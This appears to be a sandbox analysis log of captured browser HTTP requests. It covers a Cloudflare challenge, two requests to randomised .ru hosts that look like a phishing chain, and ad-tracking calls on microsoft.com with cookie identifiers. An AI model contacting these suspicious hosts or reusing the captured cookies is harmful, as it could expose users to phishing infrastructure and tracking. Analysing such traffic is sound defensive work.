Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f9afee62d6042e1&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/898190745:1735485141:Pje49cEkypugNQgmyh3blWlxXmkNYDicky8ne4tFJVQ/8f9afee62d6042e1/aDS_V8lNTomNIYOz4ts_O5dSbq05XDoYhtPAynvco1E-1735487949-1.1.1.1-ADW9KJGHzGdkI6XdltUCCHJT.Y3eyonqFnausn_NkEK2kLVTy_PGpvDpRsARQS4_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f9afee62d6042e1/1735487954145/fbpYLR90njy9lJ2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/sghn1/0x4AAAAAAA3TEPXpcYeAkLPe/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f9afee62d6042e1/1735487954145/fbpYLR90njy9lJ2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8f9afee62d6042e1/1735487954147/b8aaa4a8102b77b401a808710c635239144ea7b959d61f25673eccc384cb072c/CoFQbEN2zqApqCr HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/sghn1/0x4AAAAAAA3TEPXpcYeAkLPe/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/898190745:1735485141:Pje49cEkypugNQgmyh3blWlxXmkNYDicky8ne4tFJVQ/8f9afee62d6042e1/aDS_V8lNTomNIYOz4ts_O5dSbq05XDoYhtPAynvco1E-1735487949-1.1.1.1-ADW9KJGHzGdkI6XdltUCCHJT.Y3eyonqFnausn_NkEK2kLVTy_PGpvDpRsARQS4_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/898190745:1735485141:Pje49cEkypugNQgmyh3blWlxXmkNYDicky8ne4tFJVQ/8f9afee62d6042e1/aDS_V8lNTomNIYOz4ts_O5dSbq05XDoYhtPAynvco1E-1735487949-1.1.1.1-ADW9KJGHzGdkI6XdltUCCHJT.Y3eyonqFnausn_NkEK2kLVTy_PGpvDpRsARQS4_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /8145729929217118653033610efOQnJSOINFPDIZTNOSNEDFTVDLHLUJTCTXIN HTTP/1.1Host: jivgrohtti3mlmhdskddcmqrm1wkfilwdeoqdwi2fwvqlpimuj.lpliwptf.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://rjwc1sic.olistraket.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://rjwc1sic.olistraket.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /8145729929217118653033610efOQnJSOINFPDIZTNOSNEDFTVDLHLUJTCTXIN HTTP/1.1Host: jivgrohtti3mlmhdskddcmqrm1wkfilwdeoqdwi2fwvqlpimuj.lpliwptf.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1735488016603 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1735488016603 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=14010613988683714053231580843458416010&ts=1735488018684 HTTP/1.1Host: msftenterprise.sc.omtrdc.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dest5.html?d_nsid=0 HTTP/1.1Host: mscom.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=14010613988683714053231580843458416010&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MSFPC%016513c943dd4149f28a7d9714deadfff8%012&d_cid_ic=MC1%016513c943dd4149f28a7d9714deadfff8%012&ts=1735488021010 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=14010613988683714053231580843458416010&ts=1735488018684 HTTP/1.1Host: msftenterprise.sc.omtrdc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /365868.gif?partner_uid=14292414026342929303205682463020426373 HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i/adsct?p_user_id=14292414026342929303205682463020426373&p_id=38594 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D358%26dpuuid%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=adobe_dmp&google_cm&gdpr=0&gdpr_consent=&google_hm=MTQyOTI0MTQwMjYzNDI5MjkzMDMyMDU2ODI0NjMwMjA0MjYzNzM= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /microsoft/lp_ada_enhancements-prod.js HTTP/1.1Host: static-assets.fs.liveperson.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://publisher.liveperson.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=14010613988683714053231580843458416010&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MSFPC%016513c943dd4149f28a7d9714deadfff8%012&d_cid_ic=MC1%016513c943dd4149f28a7d9714deadfff8%012&ts=1735488021010 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067
Source: global traffic	HTTP traffic detected: GET /1000.gif?memo=CKyqFhIxCi0IARCYEhomMTQyOTI0MTQwMjYzNDI5MjkzMDMyMDU2ODI0NjMwMjA0MjYzNzMQABoNCJjkxbsGEgUI6AcQAEIASgA HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rlas3=M/0BuuWF5hSghOUX/xEG7b90cbQNPbTxNitv/rNCAQQ=; pxrc=CAA=
Source: global traffic	HTTP traffic detected: GET /pixel/p-vj4AYjBqd6VJ2.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=OIlOAop_EwmhN9NFMZwNgCeBxjABOfu7wyT_7VbQR8FlbaT3wt2IQRTDttGTuB0pOAaLPvfKvkU3zk2iPF9-1Q-39Fa7UMjwcTrQaUpKgAE.; receive-cookie-deprecation=1; uuid2=3176039311885126412
Source: global traffic	HTTP traffic detected: GET /i/adsct?p_user_id=14292414026342929303205682463020426373&p_id=38594 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_IG/H9VRuR3m2wFzFuTkYhA=="
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=992&dpuuid=466w5v9ycdht HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=0888f4d8-fe4c-46c0-bba5-03c7442509af; TDCPM=CAEYBSgCMgsIkrKuupSL1D0QBTgB
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=MTQyOTI0MTQwMjYzNDI5MjkzMDMyMDU2ODI0NjMwMjA0MjYzNzM=&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1175&gdpr=0&dpuuid=6XOk1-h2oofyfKWD7ie-gL0nodfyc_GD6yExSP2v HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=d7c79c203da28c795bb08a99b9de6d7c900543afe46b3206ee725e8abac528deb0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Z3FyGgAAAMQJowO- HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=358&dpuuid=3176039311885126412 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=992&dpuuid=466w5v9ycdht HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=14292414026342929303205682463020426373; dextp=358-1-1735488021681\|477-1-1735488021785\|771-1-1735488021898\|782-1-1735488022008\|992-1-1735488022118\|1123-1-1735488022230\|903-1-1735488022508\|1175-1-1735488023067\|1957-1-1735488024054\|3047-1-1735488025057\|22054-1-1735488026062; dpm=14292414026342929303205682463020426373
